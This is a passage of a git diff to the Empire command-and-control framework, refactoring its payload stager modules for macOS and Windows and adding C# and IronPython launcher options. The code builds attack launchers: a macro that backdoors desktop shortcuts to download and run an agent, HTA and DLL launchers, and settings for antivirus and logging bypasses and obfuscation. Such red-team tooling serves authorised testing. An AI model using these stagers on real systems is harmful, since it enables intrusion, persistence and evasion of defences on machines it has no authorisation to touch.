@@ -86,7 +106,6 @@ def formStr(varstr, instr):
return str1
# extract all of our options
- language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
user_agent = self.options["UserAgent"]["Value"]
safe_checks = self.options["SafeChecks"]["Value"]
diff --git a/empire/server/stagers/osx/pkg.py b/empire/server/stagers/osx/pkg.py
index f963910c7..24fc8a5d2 100644
--- a/empire/server/stagers/osx/pkg.py
+++ b/empire/server/stagers/osx/pkg.py
@@ -7,10 +7,15 @@
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "pkg",
- "Author": ["@xorrior"],
+ "Authors": [
+ {
+ "Name": "Chris Ross",
+ "Handle": "@xorrior",
+ "Link": "https://twitter.com/xorrior",
+ }
+ ],
"Description": "Generates a pkg installer. The installer will copy a custom (empty) application to the /Applications "
"folder. The postinstall script will execute an Empire launcher.",
"Comments": [""],
@@ -72,7 +77,6 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
diff --git a/empire/server/stagers/osx/safari_launcher.py b/empire/server/stagers/osx/safari_launcher.py
index 53610c93f..068c49b00 100644
--- a/empire/server/stagers/osx/safari_launcher.py
+++ b/empire/server/stagers/osx/safari_launcher.py
@@ -7,10 +7,15 @@
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "Launcher",
- "Author": ["@424f424f"],
+ "Authors": [
+ {
+ "Name": "",
+ "Handle": "@424f424f",
+ "Link": "https://twitter.com/424f424f",
+ }
+ ],
"Description": "Generates an HTML payload launcher for Empire.",
"Comments": ["https://www.exploit-db.com/exploits/38535/"],
}
@@ -68,7 +73,6 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
diff --git a/empire/server/stagers/osx/shellcode.py b/empire/server/stagers/osx/shellcode.py
index 4dd74e9a3..566a5c47b 100644
--- a/empire/server/stagers/osx/shellcode.py
+++ b/empire/server/stagers/osx/shellcode.py
@@ -7,10 +7,15 @@
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "Shellcode launcher",
- "Author": ["@johneiser"],
+ "Authors": [
+ {
+ "Name": "",
+ "Handle": "@johneiser",
+ "Link": "",
+ },
+ ],
"Description": "Generate an osx shellcode launcher",
"Comments": ["Shellcode contains NULL bytes, may need to be encoded."],
}
@@ -69,12 +74,10 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
arch = self.options["Architecture"]["Value"]
- save_path = self.options["OutFile"]["Value"]
user_agent = self.options["UserAgent"]["Value"]
safe_checks = self.options["SafeChecks"]["Value"]
diff --git a/empire/server/stagers/osx/teensy.py b/empire/server/stagers/osx/teensy.py
index 464484538..541753410 100644
--- a/empire/server/stagers/osx/teensy.py
+++ b/empire/server/stagers/osx/teensy.py
@@ -7,10 +7,15 @@
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "TeensyLauncher",
- "Author": ["Matt @matterpreter Hand"],
+ "Authors": [
+ {
+ "Name": "Matt Hand",
+ "Handle": "@matterpreter",
+ "Link": "https://twitter.com/matterpreter",
+ },
+ ],
"Description": "Generates a Teensy script that runs a one-liner stage0 launcher for Empire.",
"Comments": [""],
}
@@ -62,7 +67,6 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
diff --git a/empire/server/stagers/windows/backdoorLnkMacro.py b/empire/server/stagers/windows/backdoorLnkMacro.py
index f4e717e07..9df4144cd 100755
--- a/empire/server/stagers/windows/backdoorLnkMacro.py
+++ b/empire/server/stagers/windows/backdoorLnkMacro.py
@@ -1,6 +1,7 @@
from __future__ import print_function
import datetime
+import logging
import random
import string
from builtins import chr, object, range, str
@@ -12,13 +13,20 @@
from empire.server.common import helpers
+log = logging.getLogger(__name__)
+
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "BackdoorLnkMacro",
- "Author": ["@G0ldenGunSec"],
+ "Authors": [
+ {
+ "Name": "",
+ "Handle": "@G0ldenGunSec",
+ "Link": "",
+ },
+ ],
"Description": "Generates a macro that backdoors .lnk files on the users desktop, backdoored lnk files in "
"turn attempt to download & execute an empire launcher when the user clicks on them. "
"Usage: Three files will be spawned from this, an xls document (either new or containing "
@@ -46,10 +54,7 @@ def __init__(self, mainMenu, params=[]):
)
)
- # any options needed by the stager, settable during runtime
self.options = {
- # format:
- # value_name : {description, required, default_value}
"Listener": {
"Description": "Listener to generate stager for.",
"Required": True,
@@ -73,6 +78,8 @@ def __init__(self, mainMenu, params=[]):
"Description": "Language of the launcher to generate.",
"Required": True,
"Value": "powershell",
+ "SuggestedValues": ["powershell", "python", "ironpython", "csharp"],
+ "Strict": True,
},
"TargetEXEs": {
"Description": "Will backdoor .lnk files pointing to selected executables (do not include .exe "
@@ -139,12 +146,9 @@ def __init__(self, mainMenu, params=[]):
},
}
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
- # parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]["Value"] = value
@@ -248,24 +252,43 @@ def generate(self):
proxyCreds=proxy_creds,
stagerRetries=stager_retries,
)
- else:
+ elif language == "powershell":
launcher = self.mainMenu.stagers.generate_launcher(
listenerName=listener_name,
language=language,
encode=True,
obfuscate=obfuscate_script,
- obfuscationCommand=obfuscate_command,
+ obfuscation_command=obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
stagerRetries=stager_retries,
bypasses=bypasses,
)
+ elif language in ["csharp", "ironpython"]:
+ if (
+ self.mainMenu.listenersv2.get_active_listener_by_name(
+ listener_name
+ ).info["Name"]
+ != "HTTP[S]"
+ ):
+ log.error(
+ "Only HTTP[S] listeners are supported for C# and IronPython stagers."
+ )
+ return ""
+
+ launcher = self.mainMenu.stagers.generate_exe_oneliner(
+ language=language,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ encode=True,
+ listener_name=listener_name,
+ )
launcher = launcher.replace('"', "'")
if launcher == "":
- print(helpers.color("[!] Error in launcher command generation."))
+ log.error("[!] Error in launcher command generation.")
return ""
else:
try:
@@ -425,15 +448,12 @@ def generate(self):
macro += "next " + file_var + "\n"
macro += "End Sub\n"
active_sheet.row(input_row).hidden = True
- print(helpers.color("\nWriting xls...\n", color="blue"))
+ log.info("Writing xls...")
work_book.save(xls_out)
- print(
- helpers.color(
- "xls written to "
- + xls_out
- + " please remember to add macro code to xls prior to use\n\n",
- color="green",
- )
+ log.info(
+ "xls written to "
+ + xls_out
+ + " please remember to add macro code to xls prior to use"
)
# encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut
@@ -456,21 +476,17 @@ def generate(self):
cipher_text = helpers.encode_base64(b"".join([iv_buf, cipher_text]))
# write XML to disk
- print(helpers.color("Writing xml...\n", color="blue"))
+ log.info("Writing xml...")
with open(xml_out, "wb") as file_write:
file_write.write(b'\n')
file_write.write(b"")
file_write.write(cipher_text)
file_write.write(b"\n")
- print(
- helpers.color(
- "xml written to "
- + xml_out
- + " please remember this file must be accessible by the target at this url: "
- + xml_path
- + "\n",
- color="green",
- )
+ log.info(
+ "xml written to "
+ + xml_out
+ + " please remember this file must be accessible by the target at this url: "
+ + xml_path
)
return macro
diff --git a/empire/server/stagers/windows/bunny.py b/empire/server/stagers/windows/bunny.py
index 86ad24728..60973941a 100755
--- a/empire/server/stagers/windows/bunny.py
+++ b/empire/server/stagers/windows/bunny.py
@@ -1,16 +1,29 @@
from __future__ import print_function
+import logging
from builtins import object
from empire.server.common import helpers
+log = logging.getLogger(__name__)
+
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "BunnyLauncher",
- "Author": ["@kisasondi", "@harmj0y"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ },
+ {
+ "Name": "",
+ "Handle": "@kisasondi",
+ "Link": "",
+ },
+ ],
"Description": "Generates a bunny script that runs a one-liner stage0 launcher for Empire.",
"Comments": [
"This stager is modification of the ducky stager by @harmj0y,",
@@ -18,10 +31,7 @@ def __init__(self, mainMenu, params=[]):
],
}
- # any options needed by the stager, settable during runtime
self.options = {
- # format:
- # value_name : {description, required, default_value}
"Listener": {
"Description": "Listener to generate stager for.",
"Required": True,
@@ -50,7 +60,7 @@ def __init__(self, mainMenu, params=[]):
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "powershell",
- "SuggestedValues": ["powershell"],
+ "SuggestedValues": ["powershell", "ironpython", "csharp"],
"Strict": True,
},
"Keyboard": {
@@ -93,12 +103,9 @@ def __init__(self, mainMenu, params=[]):
},
}
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
- # parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]["Value"] = value
@@ -121,19 +128,39 @@ def generate(self):
obfuscate_script = True
obfuscate_command = self.options["ObfuscateCommand"]["Value"]
- # generate the launcher code
- launcher = self.mainMenu.stagers.generate_launcher(
- listener_name,
- language=language,
- encode=True,
- obfuscate=obfuscate_script,
- obfuscationCommand=obfuscate_command,
- userAgent=user_agent,
- proxy=proxy,
- proxyCreds=proxy_creds,
- stagerRetries=stager_retries,
- bypasses=bypasses,
- )
+ if language == "powershell":
+ # generate the launcher code
+ launcher = self.mainMenu.stagers.generate_launcher(
+ listener_name,
+ language=language,
+ encode=True,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ userAgent=user_agent,
+ proxy=proxy,
+ proxyCreds=proxy_creds,
+ stagerRetries=stager_retries,
+ bypasses=bypasses,
+ )
+ elif language in ["csharp", "ironpython"]:
+ if (
+ self.mainMenu.listenersv2.get_active_listener_by_name(
+ listener_name
+ ).info["Name"]
+ != "HTTP[S]"
+ ):
+ log.error(
+ "Only HTTP[S] listeners are supported for C# and IronPython stagers."
+ )
+ return ""
+
+ launcher = self.mainMenu.stagers.generate_exe_oneliner(
+ language=language,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ encode=True,
+ listener_name=listener_name,
+ )
if launcher == "":
print(helpers.color("[!] Error in launcher command generation."))
diff --git a/empire/server/stagers/windows/cmd_exec.py b/empire/server/stagers/windows/cmd_exec.py
index 520a83111..9f6108549 100644
--- a/empire/server/stagers/windows/cmd_exec.py
+++ b/empire/server/stagers/windows/cmd_exec.py
@@ -1,26 +1,30 @@
from __future__ import print_function
-import socket
+import logging
import subprocess
-import threading
from builtins import object
from empire.server.common import helpers
+log = logging.getLogger(__name__)
+
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "Stage 0 - Cmd Exec",
- "Author": ["@Cx01N"],
+ "Authors": [
+ {
+ "Name": "Anthony Rose",
+ "Handle": "@Cx01N",
+ "Link": "https://twitter.com/Cx01N_",
+ }
+ ],
"Description": "Generates windows command executable using msfvenom to act as a stage 0.",
"Comments": [""],
}
self.options = {
- # format:
- # value_name : {description, required, default_value}
"Listener": {
"Description": "Listener to generate stager for.",
"Required": True,
@@ -30,7 +34,7 @@ def __init__(self, mainMenu, params=[]):
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "powershell",
- "SuggestedValues": ["powershell", "python"],
+ "SuggestedValues": ["powershell", "ironpython", "csharp"],
"Strict": True,
},
"StagerRetries": {
@@ -97,12 +101,9 @@ def __init__(self, mainMenu, params=[]):
},
}
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
self.main_menu = mainMenu
for param in params:
- # parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]["Value"] = value
@@ -127,20 +128,40 @@ def generate(self):
if obfuscate.lower() == "true":
invoke_obfuscation = True
- # generate the launcher code
- self.launcher = self.main_menu.stagers.generate_launcher(
- listener_name,
- language=language,
- encode=encode,
- obfuscate=invoke_obfuscation,
- obfuscationCommand=obfuscate_command,
- userAgent=user_agent,
- proxy=proxy,
- proxyCreds=proxy_creds,
- stagerRetries=stager_retries,
- safeChecks=safe_checks,
- bypasses=self.options["Bypasses"]["Value"],
- )
+ if language in ["csharp", "ironpython"]:
+ if (
+ self.main_menu.listenersv2.get_active_listener_by_name(
+ listener_name
+ ).info["Name"]
+ != "HTTP[S]"
+ ):
+ log.error(
+ "Only HTTP[S] listeners are supported for C# and IronPython stagers."
+ )
+ return ""
+
+ self.launcher = self.main_menu.stagers.generate_exe_oneliner(
+ language=language,
+ obfuscate=invoke_obfuscation,
+ obfuscation_command=obfuscate_command,
+ encode=encode,
+ listener_name=listener_name,
+ )
+
+ elif language == "powershell":
+ self.launcher = self.main_menu.stagers.generate_launcher(
+ listener_name,
+ language=language,
+ encode=encode,
+ obfuscate=invoke_obfuscation,
+ obfuscation_command=obfuscate_command,
+ userAgent=user_agent,
+ proxy=proxy,
+ proxyCreds=proxy_creds,
+ stagerRetries=stager_retries,
+ safeChecks=safe_checks,
+ bypasses=self.options["Bypasses"]["Value"],
+ )
if self.launcher == "":
print(helpers.color("[!] Error in launcher command generation."))
diff --git a/empire/server/stagers/windows/csharp_exe.py b/empire/server/stagers/windows/csharp_exe.py
index 0e0ba5c01..9efbe015f 100755
--- a/empire/server/stagers/windows/csharp_exe.py
+++ b/empire/server/stagers/windows/csharp_exe.py
@@ -1,31 +1,40 @@
from __future__ import print_function
-import base64
-import shutil
from builtins import object
-from empire.server.common import helpers
+from empire.server.common.helpers import (
+ strip_powershell_comments,
+ strip_python_comments,
+)
+from empire.server.utils.data_util import ps_convert_to_oneliner
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "C# PowerShell Launcher",
- "Author": ["@Cx01N", "@hubbl3"],
+ "Authors": [
+ {
+ "Name": "Anthony Rose",
+ "Handle": "@Cx01N",
+ "Link": "https://twitter.com/Cx01N_",
+ },
+ {
+ "Name": "Jake Krasnov",
+ "Handle": "@hubbl3",
+ "Link": "https://twitter.com/_Hubbl3",
+ },
+ ],
"Description": "Generate a PowerShell C# solution with embedded stager code that compiles to an exe",
"Comments": ["Based on the work of @bneg"],
}
- # any options needed by the stager, settable during runtime
self.options = {
- # format:
- # value_name : {description, required, default_value}
"Language": {
"Description": "Language of the stager to generate (powershell, csharp).",
"Required": True,
"Value": "csharp",
- "SuggestedValues": ["powershell", "csharp", "python"],
+ "SuggestedValues": ["powershell", "csharp", "ironpython"],
"Strict": True,
},
"DotNetVersion": {
@@ -82,14 +91,18 @@ def __init__(self, mainMenu, params=[]):
"Required": False,
"Value": "mattifestation etw",
},
+ "Staged": {
+ "Description": "Allow agent to be staged",
+ "Required": True,
+ "Value": "True",
+ "SuggestedValues": ["True", "False"],
+ "Strict": True,
+ },
}
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
- # parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]["Value"] = value
@@ -108,30 +121,34 @@ def generate(self):
bypasses = self.options["Bypasses"]["Value"]
obfuscate = self.options["Obfuscate"]["Value"]
obfuscate_command = self.options["ObfuscateCommand"]["Value"]
- outfile = self.options["OutFile"]["Value"]
- if not self.mainMenu.listeners.is_listener_valid(listener_name):
- # not a valid listener, return nothing for the script
- return "[!] Invalid listener: " + listener_name
+ obfuscate_script = False
+ if obfuscate.lower() == "true":
+ obfuscate_script = True
+ staged = self.options["Staged"]["Value"].lower() == "true"
+
+ if not staged and language != "csharp":
+ launcher = self.mainMenu.stagers.generate_stageless(self.options)
+
+ if language == "powershell":
+ launcher = ps_convert_to_oneliner(strip_powershell_comments(launcher))
+ elif language == "ironpython":
+ launcher = strip_python_comments(launcher)
else:
- obfuscate_script = False
- if obfuscate.lower() == "true":
- obfuscate_script = True
-
- # generate the PowerShell one-liner with all of the proper options set
- launcher = self.mainMenu.stagers.generate_launcher(
- listener_name,
- language=language,
- encode=False,
- obfuscate=obfuscate_script,
- obfuscationCommand=obfuscate_command,
- userAgent=user_agent,
- proxy=proxy,
- proxyCreds=proxy_creds,
- stagerRetries=stager_retries,
- bypasses=bypasses,
- )
+ launcher = self.mainMenu.stagers.generate_launcher(
+ listener_name,
+ language=language,
+ encode=False,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ userAgent=user_agent,
+ proxy=proxy,
+ proxyCreds=proxy_creds,
+ stagerRetries=stager_retries,
+ bypasses=bypasses,
+ )
+
if launcher == "":
return "[!] Error in launcher generation."
else:
@@ -152,7 +169,7 @@ def generate(self):
code = f.read()
return code
- elif language.lower() == "python":
+ elif language.lower() == "ironpython":
directory = self.mainMenu.stagers.generate_python_exe(
launcher, dot_net_version=dot_net_version
)
diff --git a/empire/server/stagers/windows/dll.py b/empire/server/stagers/windows/dll.py
index b78512a6c..0ec612bc5 100644
--- a/empire/server/stagers/windows/dll.py
+++ b/empire/server/stagers/windows/dll.py
@@ -1,24 +1,29 @@
from __future__ import print_function
+import logging
from builtins import object
-from empire.server.common import helpers
+from empire.server.core.db.base import SessionLocal
+
+log = logging.getLogger(__name__)
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "DLL Launcher",
- "Author": ["@sixdub"],
+ "Authors": [
+ {
+ "Name": "",
+ "Handle": "@sixdub",
+ "Link": "",
+ }
+ ],
"Description": "Generate a PowerPick Reflective DLL to inject with stager code.",
"Comments": [""],
}
- # any options needed by the stager, settable during runtime
self.options = {
- # format:
- # value_name : {description, required, default_value}
"Listener": {
"Description": "Listener to generate stager for.",
"Required": True,
@@ -28,7 +33,7 @@ def __init__(self, mainMenu, params=[]):
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "powershell",
- "SuggestedValues": ["powershell"],
+ "SuggestedValues": ["powershell", "ironpython", "csharp"],
"Strict": True,
},
"Arch": {
@@ -38,11 +43,6 @@ def __init__(self, mainMenu, params=[]):
"SuggestedValues": ["x64", "x86"],
"Strict": True,
},
- "Listener": {
- "Description": "Listener to use.",
- "Required": True,
- "Value": "",
- },
"StagerRetries": {
"Description": "Times for the stager to retry connecting.",
"Required": False,
@@ -87,18 +87,14 @@ def __init__(self, mainMenu, params=[]):
},
}
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
- # parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]["Value"] = value
def generate(self):
-
listener_name = self.options["Listener"]["Value"]
arch = self.options["Arch"]["Value"]
@@ -112,9 +108,11 @@ def generate(self):
obfuscate_command = self.options["ObfuscateCommand"]["Value"]
bypasses = self.options["Bypasses"]["Value"]
- if not self.mainMenu.listeners.is_listener_valid(listener_name):
+ if not self.mainMenu.listeners.is_listener_valid(
+ listener_name
+ ) and not self.mainMenu.listenersv2.get_by_name(SessionLocal(), listener_name):
# not a valid listener, return nothing for the script
- print(helpers.color("[!] Invalid listener: " + listener_name))
+ log.error(f"[!] Invalid listener: {listener_name}")
return ""
else:
obfuscate_script = False
@@ -122,28 +120,48 @@ def generate(self):
obfuscate_script = True
if obfuscate_script and "launcher" in obfuscate_command.lower():
- print(
- helpers.color(
- "[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager."
- )
+ log.error(
+ "If using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager."
)
return ""
- # generate the PowerShell one-liner with all of the proper options set
- launcher = self.mainMenu.stagers.generate_launcher(
- listenerName=listener_name,
- language=language,
- encode=True,
- obfuscate=obfuscate_script,
- obfuscationCommand=obfuscate_command,
- userAgent=user_agent,
- proxy=proxy,
- proxyCreds=proxy_creds,
- stagerRetries=stager_retries,
- bypasses=bypasses,
- )
+
+ if language in ["csharp", "ironpython"]:
+ if (
+ self.mainMenu.listenersv2.get_active_listener_by_name(
+ listener_name
+ ).info["Name"]
+ != "HTTP[S]"
+ ):
+ log.error(
+ "Only HTTP[S] listeners are supported for C# and IronPython stagers."
+ )
+ return ""
+
+ launcher = self.mainMenu.stagers.generate_exe_oneliner(
+ language=language,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ encode=True,
+ listener_name=listener_name,
+ )
+
+ elif language == "powershell":
+ # generate the PowerShell one-liner with all of the proper options set
+ launcher = self.mainMenu.stagers.generate_launcher(
+ listenerName=listener_name,
+ language=language,
+ encode=True,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ userAgent=user_agent,
+ proxy=proxy,
+ proxyCreds=proxy_creds,
+ stagerRetries=stager_retries,
+ bypasses=bypasses,
+ )
if launcher == "":
- print(helpers.color("[!] Error in launcher generation."))
+ log.error("[!] Error in launcher generation.")
return ""
else:
launcher_code = launcher.split(" ")[-1]
diff --git a/empire/server/stagers/windows/ducky.py b/empire/server/stagers/windows/ducky.py
index 3ef4a8caa..1f64973a9 100644
--- a/empire/server/stagers/windows/ducky.py
+++ b/empire/server/stagers/windows/ducky.py
@@ -1,16 +1,27 @@
from __future__ import print_function
+import logging
from builtins import object
-from empire.server.common import helpers
+log = logging.getLogger(__name__)
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "DuckyLauncher",
- "Author": ["@harmj0y", "@kisasondi"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ },
+ {
+ "Name": "",
+ "Handle": "@kisasondi",
+ "Link": "",
+ },
+ ],
"Description": "Generates a ducky script that runes a one-liner stage0 launcher for Empire.",
"Comments": [""],
}
@@ -28,7 +39,7 @@ def __init__(self, mainMenu, params=[]):
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "powershell",
- "SuggestedValues": ["powershell"],
+ "SuggestedValues": ["powershell", "ironpython", "csharp"],
"Strict": True,
},
"Interpreter": {
@@ -88,7 +99,6 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
interpreter = self.options["Interpreter"]["Value"]
@@ -104,24 +114,41 @@ def generate(self):
if obfuscate.lower() == "true":
obfuscate_script = True
- # generate the launcher code
- module_name = self.mainMenu.listeners.activeListeners[listener_name][
- "moduleName"
- ]
- launcher = self.mainMenu.stagers.generate_launcher(
- listenerName=listener_name,
- language=language,
- encode=True,
- obfuscate=obfuscate_script,
- obfuscationCommand=obfuscate_command,
- userAgent=user_agent,
- proxy=proxy,
- proxyCreds=proxy_creds,
- stagerRetries=stager_retries,
- )
+ if language in ["csharp", "ironpython"]:
+ if (
+ self.mainMenu.listenersv2.get_active_listener_by_name(
+ listener_name
+ ).info["Name"]
+ != "HTTP[S]"
+ ):
+ log.error(
+ "Only HTTP[S] listeners are supported for C# and IronPython stagers."
+ )
+ return ""
+
+ launcher = self.mainMenu.stagers.generate_exe_oneliner(
+ language=language,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ encode=True,
+ listener_name=listener_name,
+ )
+ elif language == "powershell":
+ # generate the launcher code
+ launcher = self.mainMenu.stagers.generate_launcher(
+ listenerName=listener_name,
+ language=language,
+ encode=True,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ userAgent=user_agent,
+ proxy=proxy,
+ proxyCreds=proxy_creds,
+ stagerRetries=stager_retries,
+ )
if launcher == "" or interpreter == "":
- print(helpers.color("[!] Error in launcher command generation."))
+ log.error("[!] Error in launcher command generation.")
return ""
else:
enc = launcher.split(" ")[-1]
diff --git a/empire/server/stagers/windows/generate_agent.py b/empire/server/stagers/windows/generate_agent.py
new file mode 100755
index 000000000..b60147472
--- /dev/null
+++ b/empire/server/stagers/windows/generate_agent.py
@@ -0,0 +1,142 @@
+from __future__ import print_function
+
+import logging
+from builtins import object
+
+log = logging.getLogger(__name__)
+
+
+class Stager(object):
+ def __init__(self, mainMenu, params=[]):
+ self.info = {
+ "Name": "Generate Agent",
+ "Authors": [
+ {
+ "Name": "Anthony Rose",
+ "Handle": "@Cx01N",
+ "Link": "https://twitter.com/Cx01N_",
+ },
+ ],
+ "Description": "Generates an agent code instance for a specified listener, pre-staged, and register the agent in the db. This allows the agent to begin beconing behavior immediately.",
+ "Comments": [],
+ }
+
+ # any options needed by the stager, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ "Language": {
+ "Description": "Language of the stager to generate (powershell, csharp).",
+ "Required": True,
+ "Value": "powershell",
+ "SuggestedValues": ["powershell", "python", "ironpython"],
+ "Strict": True,
+ },
+ "Listener": {
+ "Description": "Listener to use.",
+ "Required": True,
+ "Value": "",
+ },
+ "StagerRetries": {
+ "Description": "Times for the stager to retry connecting.",
+ "Required": False,
+ "Value": "0",
+ },
+ "UserAgent": {
+ "Description": "User-agent string to use for the staging request (default, none, or other).",
+ "Required": False,
+ "Value": "default",
+ },
+ "Proxy": {
+ "Description": "Proxy to use for request (default, none, or other).",
+ "Required": False,
+ "Value": "default",
+ },
+ "ProxyCreds": {
+ "Description": "Proxy credentials ([domain\]username:password) to use for request (default, none, or other).",
+ "Required": False,
+ "Value": "default",
+ },
+ "OutFile": {
+ "Description": "Filename that should be used for the generated output.",
+ "Required": True,
+ "Value": "agent.txt",
+ },
+ "Obfuscate": {
+ "Description": "Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.",
+ "Required": False,
+ "Value": "False",
+ "SuggestedValues": ["True", "False"],
+ "Strict": True,
+ },
+ "ObfuscateCommand": {
+ "Description": "The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.",
+ "Required": False,
+ "Value": r"Token\All\1",
+ },
+ "Bypasses": {
+ "Description": "Bypasses as a space separated list to be prepended to the launcher",
+ "Required": False,
+ "Value": "mattifestation etw",
+ },
+ "Staged": {
+ "Description": "Allow agent to be staged",
+ "Required": True,
+ "Value": "False",
+ "SuggestedValues": ["True", "False"],
+ "Strict": True,
+ },
+ }
+
+ # save off a copy of the mainMenu object to access external functionality
+ # like listeners/agent handlers/etc.
+ self.mainMenu = mainMenu
+
+ for param in params:
+ # parameter format is [Name, Value]
+ option, value = param
+ if option in self.options:
+ self.options[option]["Value"] = value
+
+ def generate(self):
+ self.options.pop("Output", None) # clear the previous output
+ # staging options
+ language = self.options["Language"]["Value"]
+ user_agent = self.options["UserAgent"]["Value"]
+ proxy = self.options["Proxy"]["Value"]
+ proxy_creds = self.options["ProxyCreds"]["Value"]
+ listener_name = self.options["Listener"]["Value"]
+ stager_retries = self.options["StagerRetries"]["Value"]
+ bypasses = self.options["Bypasses"]["Value"]
+ obfuscate = self.options["Obfuscate"]["Value"]
+ obfuscate_command = self.options["ObfuscateCommand"]["Value"]
+
+ obfuscate_script = obfuscate.lower() == "true"
+ staged = self.options["Staged"]["Value"].lower() == "true"
+
+ if not staged:
+ launcher = self.mainMenu.stagers.generate_stageless(self.options)
+ else:
+ # generate the PowerShell one-liner with all of the proper options set
+ launcher = self.mainMenu.stagers.generate_launcher(
+ listener_name,
+ language=language,
+ encode=False,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ userAgent=user_agent,
+ proxy=proxy,
+ proxyCreds=proxy_creds,
+ stagerRetries=stager_retries,
+ bypasses=bypasses,
+ )
+
+ if launcher == "":
+ log.error("[!] Error in launcher generation.")
+ return ""
+ else:
+ if not launcher or launcher.lower() == "failed":
+ log.error("[!] Error in launcher command generation.")
+ return ""
+
+ return launcher
diff --git a/empire/server/stagers/windows/hta.py b/empire/server/stagers/windows/hta.py
index 95c3832fc..c2d79ed87 100644
--- a/empire/server/stagers/windows/hta.py
+++ b/empire/server/stagers/windows/hta.py
@@ -1,26 +1,29 @@
from __future__ import print_function
+import logging
from builtins import object
-from empire.server.common import helpers
+log = logging.getLogger(__name__)
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "HTA",
- "Author": ["@subTee"],
+ "Authors": [
+ {
+ "Name": "",
+ "Handle": "@subTee",
+ "Link": "",
+ }
+ ],
"Description": "Generates an HTA (HyperText Application) For Internet Explorer",
"Comments": [
"You will need to deliver a url to the target to launch the HTA. Often bypasses Whitelists since it is executed by mshta.exe"
],
}
- # any options needed by the stager, settable during runtime
self.options = {
- # format:
- # value_name : {description, required, default_value}
"Listener": {
"Description": "Listener to generate stager for.",
"Required": True,
@@ -30,7 +33,7 @@ def __init__(self, mainMenu, params=[]):
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "powershell",
- "SuggestedValues": ["powershell"],
+ "SuggestedValues": ["powershell", "ironpython", "csharp"],
"Strict": True,
},
"StagerRetries": {
@@ -79,18 +82,14 @@ def __init__(self, mainMenu, params=[]):
},
}
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
- # parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
@@ -110,21 +109,41 @@ def generate(self):
if obfuscate.lower() == "true":
obfuscate_script = True
- # generate the launcher code
- launcher = self.mainMenu.stagers.generate_launcher(
- listenerName=listener_name,
- language=language,
- encode=encode,
- obfuscate=obfuscate_script,
- obfuscationCommand=obfuscate_command,
- userAgent=user_agent,
- proxy=proxy,
- proxyCreds=proxy_creds,
